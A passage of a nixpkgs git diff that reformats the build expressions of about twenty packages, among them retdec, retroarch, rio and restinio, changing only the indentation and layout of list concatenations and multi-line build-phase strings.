-      pygame-sdl2
-      python
-      requests
-      six
-      tkinter
-    ]);
+  buildInputs = [
+    ffmpeg
+    freetype
+    fribidi
+    glew
+    harfbuzz
+    libGL
+    libGLU
+    libpng
+    SDL2
+    zlib
+  ]
+  ++ (with python.pkgs; [
+    ecdsa
+    future
+    pefile
+    pygame-sdl2
+    python
+    requests
+    six
+    tkinter
+  ]);
 
   RENPY_DEPS_INSTALL = lib.concatStringsSep "::" (
     [
@@ -88,7 +87,8 @@ stdenv.mkDerivation (finalAttrs: {
   patches = [
     ./shutup-erofs-errors.patch
     ./5687.patch
-  ] ++ lib.optional withoutSteam ./noSteam.patch;
+  ]
+  ++ lib.optional withoutSteam ./noSteam.patch;
 
   postPatch = ''
     cp tutorial/game/tutorial_director.rpy{m,}
diff --git a/pkgs/by-name/re/repgrep/package.nix b/pkgs/by-name/re/repgrep/package.nix
index 3f0d0cd8f5f1..d56e5ed54347 100644
--- a/pkgs/by-name/re/repgrep/package.nix
+++ b/pkgs/by-name/re/repgrep/package.nix
@@ -29,22 +29,21 @@ rustPlatform.buildRustPackage rec {
     makeWrapper
   ];
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/rgr \
-        --prefix PATH : ${lib.makeBinPath [ ripgrep ]}
+  postInstall = ''
+    wrapProgram $out/bin/rgr \
+      --prefix PATH : ${lib.makeBinPath [ ripgrep ]}
 
-      pushd "$(dirname "$(find -path '**/repgrep-stamp' | head -n 1)")"
-      installManPage rgr.1
-      popd
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      # As it can be seen here: https://github.com/acheronfail/repgrep/blob/0.16.1/.github/workflows/release.yml#L206, the completions are just the same as ripgrep
-      installShellCompletion --cmd rgr \
-        --bash <(${lib.getExe ripgrep} --generate complete-bash | sed 's/-c rg/-c rgr/') \
-        --zsh <(${lib.getExe ripgrep} --generate complete-zsh | sed 's/-c rg/-c rgr/') \
-        --fish <(${lib.getExe ripgrep} --generate complete-fish | sed 's/-c rg/-c rgr/')
-    '';
+    pushd "$(dirname "$(find -path '**/repgrep-stamp' | head -n 1)")"
+    installManPage rgr.1
+    popd
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    # As it can be seen here: https://github.com/acheronfail/repgrep/blob/0.16.1/.github/workflows/release.yml#L206, the completions are just the same as ripgrep
+    installShellCompletion --cmd rgr \
+      --bash <(${lib.getExe ripgrep} --generate complete-bash | sed 's/-c rg/-c rgr/') \
+      --zsh <(${lib.getExe ripgrep} --generate complete-zsh | sed 's/-c rg/-c rgr/') \
+      --fish <(${lib.getExe ripgrep} --generate complete-fish | sed 's/-c rg/-c rgr/')
+  '';
 
   meta = with lib; {
     description = "Interactive replacer for ripgrep that makes it easy to find and replace across files on the command line";
diff --git a/pkgs/by-name/re/repseek/package.nix b/pkgs/by-name/re/repseek/package.nix
index 90c306f66a88..013b4ca2b104 100644
--- a/pkgs/by-name/re/repseek/package.nix
+++ b/pkgs/by-name/re/repseek/package.nix
@@ -12,16 +12,15 @@ stdenv.mkDerivation rec {
     sha256 = "1jiknji3ivrv7zmrfbf2mccfpdwhin3lfxfsciaqwf69b3sda8nf";
   };
 
-  preConfigure =
-    ''
-      mkdir -p $out/bin
-      substituteInPlace Makefile \
-        --replace "INSTALLDIR = \$\$HOME/bin" "INSTALLDIR = $out/bin/" \
-        --replace "CC= gcc" "CC = $CC"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace Makefile --replace "MACHINE = MACOSX" "MACHINE = LINUX"
-    '';
+  preConfigure = ''
+    mkdir -p $out/bin
+    substituteInPlace Makefile \
+      --replace "INSTALLDIR = \$\$HOME/bin" "INSTALLDIR = $out/bin/" \
+      --replace "CC= gcc" "CC = $CC"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace Makefile --replace "MACHINE = MACOSX" "MACHINE = LINUX"
+  '';
 
   meta = {
     description = "Tool to retrieve approximate repeats from large DNA sequences";
diff --git a/pkgs/by-name/re/rerun/package.nix b/pkgs/by-name/re/rerun/package.nix
index ba851e529187..a3249970ca87 100644
--- a/pkgs/by-name/re/rerun/package.nix
+++ b/pkgs/by-name/re/rerun/package.nix
@@ -107,7 +107,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
     (lib.getDev openssl)
     libxkbcommon
     vulkan-loader
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ (lib.getLib wayland) ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ (lib.getLib wayland) ];
 
   addDlopenRunpaths = map (p: "${lib.getLib p}/lib") (
     lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/re/resonance/package.nix b/pkgs/by-name/re/resonance/package.nix
index e2b89e9027e3..2a9537fef555 100644
--- a/pkgs/by-name/re/resonance/package.nix
+++ b/pkgs/by-name/re/resonance/package.nix
@@ -50,24 +50,23 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      dbus
-      glib
-      gtk4
-      libadwaita
-      libxml2
-      openssl
-      sqlite
-    ]
-    ++ (with gst_all_1; [
-      gst-libav
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    dbus
+    glib
+    gtk4
+    libadwaita
+    libxml2
+    openssl
+    sqlite
+  ]
+  ++ (with gst_all_1; [
+    gst-libav
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
   preFixup = ''
     gappsWrapperArgs+=(--prefix PYTHONPATH : ${
diff --git a/pkgs/by-name/re/restic-browser/package.nix b/pkgs/by-name/re/restic-browser/package.nix
index 7cfba5fae808..c2d01e6e8e18 100644
--- a/pkgs/by-name/re/restic-browser/package.nix
+++ b/pkgs/by-name/re/restic-browser/package.nix
@@ -33,17 +33,16 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U82hVPfVd12vBeDT3PHexwmc9OitkuxTugYRe4Z/3eo=";
   };
 
-  nativeBuildInputs =
-    [
-      cargo-tauri_1.hook
+  nativeBuildInputs = [
+    cargo-tauri_1.hook
 
-      nodejs
-      npmHooks.npmConfigHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-      wrapGAppsHook3
-    ];
+    nodejs
+    npmHooks.npmConfigHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+    wrapGAppsHook3
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     webkitgtk_4_0
diff --git a/pkgs/by-name/re/restinio/package.nix b/pkgs/by-name/re/restinio/package.nix
index 02d09bad25ea..77a2f5c8807c 100644
--- a/pkgs/by-name/re/restinio/package.nix
+++ b/pkgs/by-name/re/restinio/package.nix
@@ -42,25 +42,24 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ];
 
-  propagatedBuildInputs =
-    [
-      expected-lite
-      fmt
-      llhttp
-      openssl
-      pcre2
-      zlib
-    ]
-    ++ (
-      if with_boost_asio then
-        [
-          boost
-        ]
-      else
-        [
-          asio
-        ]
-    );
+  propagatedBuildInputs = [
+    expected-lite
+    fmt
+    llhttp
+    openssl
+    pcre2
+    zlib
+  ]
+  ++ (
+    if with_boost_asio then
+      [
+        boost
+      ]
+    else
+      [
+        asio
+      ]
+  );
 
   buildInputs = [
     catch2_3
diff --git a/pkgs/by-name/re/retdec/package.nix b/pkgs/by-name/re/retdec/package.nix
index 7fbfb826cbde..9b442ca081ae 100644
--- a/pkgs/by-name/re/retdec/package.nix
+++ b/pkgs/by-name/re/retdec/package.nix
@@ -64,16 +64,15 @@ let
   };
 
   retdec-support-version = "2019-03-08";
-  retdec-support =
-    {
-      rev = retdec-support-version;
-    }
-    # for checking the version against the expected version
-    // fetchzip {
-      url = "https://github.com/avast-tl/retdec-support/releases/download/${retdec-support-version}/retdec-support_${retdec-support-version}.tar.xz";
-      hash = "sha256-t1tx4MfLW/lwtbO5JQ1nrFBIOeMclq+0dENuXW+ahIM=";
-      stripRoot = false;
-    };
+  retdec-support = {
+    rev = retdec-support-version;
+  }
+  # for checking the version against the expected version
+  // fetchzip {
+    url = "https://github.com/avast-tl/retdec-support/releases/download/${retdec-support-version}/retdec-support_${retdec-support-version}.tar.xz";
+    hash = "sha256-t1tx4MfLW/lwtbO5JQ1nrFBIOeMclq+0dENuXW+ahIM=";
+    stripRoot = false;
+  };
 
   check-dep = name: dep: ''
     context="$(grep ${name}_URL --after-context 1 cmake/deps.cmake)"
@@ -87,19 +86,18 @@ let
     fi
   '';
 
-  deps =
-    {
-      CAPSTONE = capstone;
-      LLVM = llvm;
-      YARA = yaracpp;
-      YARAMOD = yaramod;
-      SUPPORT_PKG = retdec-support;
-    }
-    // lib.optionalAttrs enableTests {
-      KEYSTONE = keystone;
-      # nixpkgs googletest is used
-      # GOOGLETEST = googletest;
-    };
+  deps = {
+    CAPSTONE = capstone;
+    LLVM = llvm;
+    YARA = yaracpp;
+    YARAMOD = yaramod;
+    SUPPORT_PKG = retdec-support;
+  }
+  // lib.optionalAttrs enableTests {
+    KEYSTONE = keystone;
+    # nixpkgs googletest is used
+    # GOOGLETEST = googletest;
+  };
 
   # overwrite install-share.py to copy instead of download.
   # we use this so the copy happens at the right time in the build,
@@ -162,63 +160,63 @@ stdenv.mkDerivation (self: {
     libffi
     libxml2
     zlib
-  ] ++ lib.optional self.doInstallCheck gtest;
+  ]
+  ++ lib.optional self.doInstallCheck gtest;
 
   cmakeFlags = [
     (lib.cmakeBool "RETDEC_TESTS" self.doInstallCheck) # build tests
     (lib.cmakeBool "RETDEC_DEV_TOOLS" buildDevTools) # build tools e.g. capstone2llvmir, retdectool
     (lib.cmakeBool "RETDEC_COMPILE_YARA" compileYaraPatterns) # build and install compiled patterns
-  ] ++ lib.mapAttrsToList (k: v: lib.cmakeFeature "${k}_URL" "${v}") deps;
+  ]
+  ++ lib.mapAttrsToList (k: v: lib.cmakeFeature "${k}_URL" "${v}") deps;
 
-  preConfigure =
-    lib.concatStringsSep "\n" (lib.mapAttrsToList check-dep deps)
-    + ''
-      cp -v ${install-share} ./support/install-share.py
+  preConfigure = lib.concatStringsSep "\n" (lib.mapAttrsToList check-dep deps) + ''
+    cp -v ${install-share} ./support/install-share.py
 
-      # the CMakeLists assume CMAKE_INSTALL_BINDIR, etc are path components but in Nix, they are absolute.
-      # therefore, we need to remove the unnecessary CMAKE_INSTALL_PREFIX prepend.
-      substituteInPlace ./CMakeLists.txt \
-        --replace-warn "''$"{CMAKE_INSTALL_PREFIX}/"''$"{RETDEC_INSTALL_BIN_DIR} "''$"{CMAKE_INSTALL_FULL_BINDIR} \
-        --replace-warn "''$"{CMAKE_INSTALL_PREFIX}/"''$"{RETDEC_INSTALL_LIB_DIR} "''$"{CMAKE_INSTALL_FULL_LIBDIR} \
+    # the CMakeLists assume CMAKE_INSTALL_BINDIR, etc are path components but in Nix, they are absolute.
+    # therefore, we need to remove the unnecessary CMAKE_INSTALL_PREFIX prepend.
+    substituteInPlace ./CMakeLists.txt \
+      --replace-warn "''$"{CMAKE_INSTALL_PREFIX}/"''$"{RETDEC_INSTALL_BIN_DIR} "''$"{CMAKE_INSTALL_FULL_BINDIR} \
+      --replace-warn "''$"{CMAKE_INSTALL_PREFIX}/"''$"{RETDEC_INSTALL_LIB_DIR} "''$"{CMAKE_INSTALL_FULL_LIBDIR} \
 
-      # --replace "''$"{CMAKE_INSTALL_PREFIX}/"''$"{RETDEC_INSTALL_SUPPORT_DIR} "''$"{RETDEC_INSTALL_SUPPORT_DIR}
-      # note! Nix does not set CMAKE_INSTALL_DATADIR to an absolute path, so this replacement would be incorrect
+    # --replace "''$"{CMAKE_INSTALL_PREFIX}/"''$"{RETDEC_INSTALL_SUPPORT_DIR} "''$"{RETDEC_INSTALL_SUPPORT_DIR}
+    # note! Nix does not set CMAKE_INSTALL_DATADIR to an absolute path, so this replacement would be incorrect
 
-      # similarly for yaramod. here, we fix the LIBDIR to lib64. for whatever reason, only "lib64" works.
-      substituteInPlace deps/yaramod/CMakeLists.txt \
-        --replace-fail "''$"{YARAMOD_INSTALL_DIR}/"''$"{CMAKE_INSTALL_LIBDIR} "''$"{YARAMOD_INSTALL_DIR}/lib64 \
-        --replace-fail CMAKE_ARGS 'CMAKE_ARGS -DCMAKE_INSTALL_LIBDIR=lib64'
+    # similarly for yaramod. here, we fix the LIBDIR to lib64. for whatever reason, only "lib64" works.
+    substituteInPlace deps/yaramod/CMakeLists.txt \
+      --replace-fail "''$"{YARAMOD_INSTALL_DIR}/"''$"{CMAKE_INSTALL_LIBDIR} "''$"{YARAMOD_INSTALL_DIR}/lib64 \
+      --replace-fail CMAKE_ARGS 'CMAKE_ARGS -DCMAKE_INSTALL_LIBDIR=lib64'
 
-      # yara needs write permissions in the generated source directory.
-      echo ${lib.escapeShellArg ''
-        ExternalProject_Add_Step(
-          yara chmod WORKING_DIRECTORY ''${YARA_DIR}
-          DEPENDEES download COMMAND chmod -R u+w .
-        )
-      ''} >> deps/yara/CMakeLists.txt
+    # yara needs write permissions in the generated source directory.
+    echo ${lib.escapeShellArg ''
+      ExternalProject_Add_Step(
+        yara chmod WORKING_DIRECTORY ''${YARA_DIR}
+        DEPENDEES download COMMAND chmod -R u+w .
+      )
+    ''} >> deps/yara/CMakeLists.txt
 
-      # patch gtest to use the system package
-      gtest=deps/googletest/CMakeLists.txt
-      old="$(cat $gtest)"
-      (echo 'find_package(GTest REQUIRED)'; echo "$old") > $gtest
-      sed -i 's/ExternalProject_[^(]\+[(]/ set(IGNORED /g' $gtest
+    # patch gtest to use the system package
+    gtest=deps/googletest/CMakeLists.txt
+    old="$(cat $gtest)"
+    (echo 'find_package(GTest REQUIRED)'; echo "$old") > $gtest
+    sed -i 's/ExternalProject_[^(]\+[(]/ set(IGNORED /g' $gtest
 
-      substituteInPlace $gtest \
-        --replace-fail '$'{GTEST_LIB} "GTest::gtest"\
-        --replace-fail '$'{GMOCK_LIB} "GTest::gmock"\
-        --replace-fail '$'{GTEST_MAIN_LIB} "GTest::gtest_main"\
-        --replace-fail '$'{GMOCK_MAIN_LIB} "GTest::gmock_main"
+    substituteInPlace $gtest \
+      --replace-fail '$'{GTEST_LIB} "GTest::gtest"\
+      --replace-fail '$'{GMOCK_LIB} "GTest::gmock"\
+      --replace-fail '$'{GTEST_MAIN_LIB} "GTest::gtest_main"\
+      --replace-fail '$'{GMOCK_MAIN_LIB} "GTest::gmock_main"
 
-      # without git history, there is no chance these tests will pass.
-      substituteInPlace tests/utils/version_tests.cpp \
-        --replace-quiet VersionTests DISABLED_VersionTests
+    # without git history, there is no chance these tests will pass.
+    substituteInPlace tests/utils/version_tests.cpp \
+      --replace-quiet VersionTests DISABLED_VersionTests
 
-      substituteInPlace scripts/retdec-utils.py \
-        --replace-warn /usr/bin/time ${time} \
-        --replace-warn /usr/local/bin/gtime ${time}
-      substituteInPlace scripts/retdec-unpacker.py \
-        --replace-warn "'upx'" "'${upx}'"
-    '';
+    substituteInPlace scripts/retdec-utils.py \
+      --replace-warn /usr/bin/time ${time} \
+      --replace-warn /usr/local/bin/gtime ${time}
+    substituteInPlace scripts/retdec-unpacker.py \
+      --replace-warn "'upx'" "'${upx}'"
+  '';
 
   doInstallCheck = enableTests;
   installCheckPhase = ''
diff --git a/pkgs/by-name/re/retool/package.nix b/pkgs/by-name/re/retool/package.nix
index f3314d93f95f..f3e3fce7505d 100644
--- a/pkgs/by-name/re/retool/package.nix
+++ b/pkgs/by-name/re/retool/package.nix
@@ -27,13 +27,12 @@ python3.pkgs.buildPythonApplication rec {
 
   pythonRelaxDeps = true;
 
-  buildInputs =
-    [
-      qt6.qtbase
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    qt6.qtbase
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    qt6.qtwayland
+  ];
 
   propagatedBuildInputs = with python3.pkgs; [
     alive-progress
diff --git a/pkgs/by-name/re/retroarch-bare/package.nix b/pkgs/by-name/re/retroarch-bare/package.nix
index 149abd2f592c..c540f52629e8 100644
--- a/pkgs/by-name/re/retroarch-bare/package.nix
+++ b/pkgs/by-name/re/retroarch-bare/package.nix
@@ -53,8 +53,7 @@
 
 let
   runtimeLibs =
-    lib.optional withVulkan vulkan-loader
-    ++ lib.optional withGamemode (lib.getLib gamemode);
+    lib.optional withVulkan vulkan-loader ++ lib.optional withGamemode (lib.getLib gamemode);
 in
 stdenv.mkDerivation rec {
   pname = "retroarch-bare";
@@ -67,67 +66,64 @@ stdenv.mkDerivation rec {
     rev = "v${version}";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      qt5.wrapQtAppsHook
-    ]
-    ++ lib.optional withWayland wayland
-    ++ lib.optional (runtimeLibs != [ ]) makeBinaryWrapper;
+  nativeBuildInputs = [
+    pkg-config
+    qt5.wrapQtAppsHook
+  ]
+  ++ lib.optional withWayland wayland
+  ++ lib.optional (runtimeLibs != [ ]) makeBinaryWrapper;
 
-  buildInputs =
-    [
-      ffmpeg
-      flac
-      freetype
-      libGL
-      libGLU
-      libxml2
-      mbedtls_2
-      python3
-      qt5.qtbase
-      SDL2
-      spirv-tools
-      zlib
-    ]
-    ++ lib.optional enableNvidiaCgToolkit nvidia_cg_toolkit
-    ++ lib.optional withVulkan vulkan-loader
-    ++ lib.optionals withWayland [
-      wayland
-      wayland-scanner
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      dbus
-      libX11
-      libXdmcp
-      libXext
-      libXxf86vm
-      libdrm
-      libpulseaudio
-      libv4l
-      libxkbcommon
-      libgbm
-      udev
-    ];
+  buildInputs = [
+    ffmpeg
+    flac
+    freetype
+    libGL
+    libGLU
+    libxml2
+    mbedtls_2
+    python3
+    qt5.qtbase
+    SDL2
+    spirv-tools
+    zlib
+  ]
+  ++ lib.optional enableNvidiaCgToolkit nvidia_cg_toolkit
+  ++ lib.optional withVulkan vulkan-loader
+  ++ lib.optionals withWayland [
+    wayland
+    wayland-scanner
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    dbus
+    libX11
+    libXdmcp
+    libXext
+    libXxf86vm
+    libdrm
+    libpulseaudio
+    libv4l
+    libxkbcommon
+    libgbm
+    udev
+  ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--disable-update_cores"
-      "--disable-builtinmbedtls"
-      "--enable-systemmbedtls"
-      "--disable-builtinzlib"
-      "--disable-builtinflac"
-      "--disable-update_assets"
-      "--disable-update_core_info"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-dbus"
-      "--enable-egl"
-      "--enable-kms"
-    ];
+  configureFlags = [
+    "--disable-update_cores"
+    "--disable-builtinmbedtls"
+    "--enable-systemmbedtls"
+    "--disable-builtinzlib"
+    "--disable-builtinflac"
+    "--disable-update_assets"
+    "--disable-update_core_info"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-dbus"
+    "--enable-egl"
+    "--enable-kms"
+  ];
 
   postInstall =
     lib.optionalString (runtimeLibs != [ ]) ''
@@ -168,7 +164,8 @@ stdenv.mkDerivation rec {
           assets_directory = "${retroarch-assets}/share/retroarch/assets";
           joypad_autoconfig_dir = "${retroarch-joypad-autoconfig}/share/libretro/autoconfig";
           libretro_info_path = "${libretro-core-info}/share/retroarch/cores";
-        } // settings;
+        }
+        // settings;
       };
   };
 
diff --git a/pkgs/by-name/re/retroarch-bare/wrapper.nix b/pkgs/by-name/re/retroarch-bare/wrapper.nix
index 691abe528339..04aacb962e86 100644
--- a/pkgs/by-name/re/retroarch-bare/wrapper.nix
+++ b/pkgs/by-name/re/retroarch-bare/wrapper.nix
@@ -69,12 +69,11 @@ symlinkJoin {
       platforms
       ;
 
-    longDescription =
-      ''
-        RetroArch is the reference frontend for the libretro API.
-      ''
-      + lib.optionalString (cores != [ ]) ''
-        The following cores are included: ${lib.concatStringsSep ", " (map (c: c.core) cores)}.
-      '';
+    longDescription = ''
+      RetroArch is the reference frontend for the libretro API.
+    ''
+    + lib.optionalString (cores != [ ]) ''
+      The following cores are included: ${lib.concatStringsSep ", " (map (c: c.core) cores)}.
+    '';
   };
 }
diff --git a/pkgs/by-name/re/retrofe/package.nix b/pkgs/by-name/re/retrofe/package.nix
index adfeed89ed97..ff44ea04755e 100644
--- a/pkgs/by-name/re/retrofe/package.nix
+++ b/pkgs/by-name/re/retrofe/package.nix
@@ -35,22 +35,21 @@ stdenv.mkDerivation {
     python3
   ];
 
-  buildInputs =
-    [
-      glib
-      gst_all_1.gstreamer
-      SDL2
-      SDL2_image
-      SDL2_mixer
-      SDL2_ttf
-      sqlite
-      zlib
-    ]
-    ++ (with gst_all_1; [
-      gst-libav
-      gst-plugins-base
-      gst-plugins-good
-    ]);
+  buildInputs = [
+    glib
+    gst_all_1.gstreamer
+    SDL2
+    SDL2_image
+    SDL2_mixer
+    SDL2_ttf
+    sqlite
+    zlib
+  ]
+  ++ (with gst_all_1; [
+    gst-libav
+    gst-plugins-base
+    gst-plugins-good
+  ]);
 
   configurePhase = ''
     cmake RetroFE/Source -BRetroFE/Build -DCMAKE_BUILD_TYPE=Release \
diff --git a/pkgs/by-name/rh/rhash/package.nix b/pkgs/by-name/rh/rhash/package.nix
index 9daddbfce993..cc6a36edb14d 100644
--- a/pkgs/by-name/rh/rhash/package.nix
+++ b/pkgs/by-name/rh/rhash/package.nix
@@ -42,14 +42,13 @@ stdenv.mkDerivation rec {
 
   checkTarget = "test-full";
 
-  installTargets =
-    [
-      "install"
-      "install-lib-headers"
-    ]
-    ++ lib.optionals (!enableStatic) [
-      "install-lib-so-link"
-    ];
+  installTargets = [
+    "install"
+    "install-lib-headers"
+  ]
+  ++ lib.optionals (!enableStatic) [
+    "install-lib-so-link"
+  ];
 
   meta = with lib; {
     homepage = "https://rhash.sourceforge.net/";
diff --git a/pkgs/by-name/rh/rhythmbox/package.nix b/pkgs/by-name/rh/rhythmbox/package.nix
index 2490bc1599ee..1bdd2929bb7a 100644
--- a/pkgs/by-name/rh/rhythmbox/package.nix
+++ b/pkgs/by-name/rh/rhythmbox/package.nix
@@ -88,7 +88,8 @@ stdenv.mkDerivation rec {
     libdmapsharing # for daap support
     libsecret
     libnotify
-  ] ++ gst_plugins;
+  ]
+  ++ gst_plugins;
 
   nativeCheckInputs = [
     check
diff --git a/pkgs/by-name/ri/ride/package.nix b/pkgs/by-name/ri/ride/package.nix
index 8035a87ce183..527c81db7d77 100644
--- a/pkgs/by-name/ri/ride/package.nix
+++ b/pkgs/by-name/ri/ride/package.nix
@@ -70,7 +70,8 @@ buildNpmPackage rec {
   nativeBuildInputs = [
     zip
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
 
   env.ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
 
diff --git a/pkgs/by-name/ri/riemann_c_client/package.nix b/pkgs/by-name/ri/riemann_c_client/package.nix
index 3933346a85ef..6c11b99326d3 100644
--- a/pkgs/by-name/ri/riemann_c_client/package.nix
+++ b/pkgs/by-name/ri/riemann_c_client/package.nix
@@ -38,14 +38,13 @@ stdenv.mkDerivation rec {
     check
     pkg-config
   ];
-  buildInputs =
-    [
-      file
-      protobufc
-    ]
-    ++ lib.optional withWolfSSL wolfssl
-    ++ lib.optional withGnuTLS gnutls
-    ++ lib.optional withJSON json_c;
+  buildInputs = [
+    file
+    protobufc
+  ]
+  ++ lib.optional withWolfSSL wolfssl
+  ++ lib.optional withGnuTLS gnutls
+  ++ lib.optional withJSON json_c;
 
   configureFlags =
     [ ] ++ lib.optional withWolfSSL "--with-tls=wolfssl" ++ lib.optional withGnuTLS "--with-tls=gnutls";
diff --git a/pkgs/by-name/ri/rigel-engine/package.nix b/pkgs/by-name/ri/rigel-engine/package.nix
index 7dd413cb058a..cd753f95fcd2 100644
--- a/pkgs/by-name/ri/rigel-engine/package.nix
+++ b/pkgs/by-name/ri/rigel-engine/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation {
 
   cmakeFlags = [
     "-Wno-dev"
-  ] ++ lib.optional buildOpenGLES "-DUSE_GL_ES=ON";
+  ]
+  ++ lib.optional buildOpenGLES "-DUSE_GL_ES=ON";
 
   meta = {
     description = "Modern re-implementation of the classic DOS game Duke Nukem II";
diff --git a/pkgs/by-name/ri/rink/package.nix b/pkgs/by-name/ri/rink/package.nix
index 622030ebfd98..3988e4b500d6 100644
--- a/pkgs/by-name/ri/rink/package.nix
+++ b/pkgs/by-name/ri/rink/package.nix
@@ -31,17 +31,18 @@ rustPlatform.buildRustPackage rec {
     installShellFiles
     asciidoctor
   ];
-  buildInputs =
-    [ ncurses ]
-    ++ (
-      if stdenv.hostPlatform.isDarwin then
-        [
-          curl
-          libiconv
-        ]
-      else
-        [ openssl ]
-    );
+  buildInputs = [
+    ncurses
+  ]
+  ++ (
+    if stdenv.hostPlatform.isDarwin then
+      [
+        curl
+        libiconv
+      ]
+    else
+      [ openssl ]
+  );
 
   # Some tests fail and/or attempt to use internet servers.
   doCheck = false;
diff --git a/pkgs/by-name/ri/rio/package.nix b/pkgs/by-name/ri/rio/package.nix
index 4352cddce66e..6cf03fb00cba 100644
--- a/pkgs/by-name/ri/rio/package.nix
+++ b/pkgs/by-name/ri/rio/package.nix
@@ -65,15 +65,14 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-MXQDlA8FHZdgLmQtO6iFkxwftnq8EpIvprrO6zPK9BM=";
 
-  nativeBuildInputs =
-    [
-      ncurses
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      cmake
-      pkg-config
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    cmake
+    pkg-config
+    autoPatchelfHook
+  ];
 
   runtimeDependencies = rlinkLibs;
 
@@ -96,23 +95,22 @@ rustPlatform.buildRustPackage rec {
     "--skip=sys::unix::eventedfd::EventedFd"
   ];
 
-  postInstall =
-    ''
-      install -D -m 644 misc/rio.desktop -t $out/share/applications
-      install -D -m 644 misc/logo.svg \
-                        $out/share/icons/hicolor/scalable/apps/rio.svg
+  postInstall = ''
+    install -D -m 644 misc/rio.desktop -t $out/share/applications
+    install -D -m 644 misc/logo.svg \
+                      $out/share/icons/hicolor/scalable/apps/rio.svg
 
-      install -dm 755 "$terminfo/share/terminfo/r/"
-      tic -xe rio,rio-direct -o "$terminfo/share/terminfo" misc/rio.terminfo
-      mkdir -p $out/nix-support
-      echo "$terminfo" >> $out/nix-support/propagated-user-env-packages
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir $out/Applications/
-      mv misc/osx/Rio.app/ $out/Applications/
-      mkdir $out/Applications/Rio.app/Contents/MacOS/
-      ln -s $out/bin/rio $out/Applications/Rio.app/Contents/MacOS/
-    '';
+    install -dm 755 "$terminfo/share/terminfo/r/"
+    tic -xe rio,rio-direct -o "$terminfo/share/terminfo" misc/rio.terminfo
+    mkdir -p $out/nix-support
+    echo "$terminfo" >> $out/nix-support/propagated-user-env-packages
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir $out/Applications/
+    mv misc/osx/Rio.app/ $out/Applications/
+    mkdir $out/Applications/Rio.app/Contents/MacOS/
+    ln -s $out/bin/rio $out/Applications/Rio.app/Contents/MacOS/
+  '';
 
   passthru = {
     updateScript = nix-update-script {
@@ -122,17 +120,16 @@ rustPlatform.buildRustPackage rec {
       ];
     };
 
-    tests =
-      {
-        version = testers.testVersion { package = rio; };
-      }
-      // lib.optionalAttrs stdenv.buildPlatform.isLinux {
-        # FIXME: Restrict test execution inside nixosTests for Linux devices as ofborg
-        # 'passthru.tests' nixosTests are failing on Darwin architectures.
-        #
-        # Ref: https://github.com/NixOS/nixpkgs/issues/345825
-        test = nixosTests.terminal-emulators.rio;
-      };
+    tests = {
+      version = testers.testVersion { package = rio; };
+    }
+    // lib.optionalAttrs stdenv.buildPlatform.isLinux {
+      # FIXME: Restrict test execution inside nixosTests for Linux devices as ofborg
+      # 'passthru.tests' nixosTests are failing on Darwin architectures.
+      #
+      # Ref: https://github.com/NixOS/nixpkgs/issues/345825
+      test = nixosTests.terminal-emulators.rio;
+    };
   };
 
   meta = {
diff --git a/pkgs/by-name/ri/ripes/package.nix b/pkgs/by-name/ri/ripes/package.nix
index fba559949bc7..0afec0618a3b 100644
--- a/pkgs/by-name/ri/ripes/package.nix
+++ b/pkgs/by-name/ri/ripes/package.nix
@@ -43,22 +43,21 @@ stdenv.mkDerivation rec {
     qt6.qtcharts
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r Ripes.app $out/Applications/
-      makeBinaryWrapper $out/Applications/Ripes.app/Contents/MacOS/Ripes $out/bin/Ripes
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -D Ripes $out/bin/Ripes
-    ''
-    + ''
-      cp -r ${src}/appdir/usr/share $out/share
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
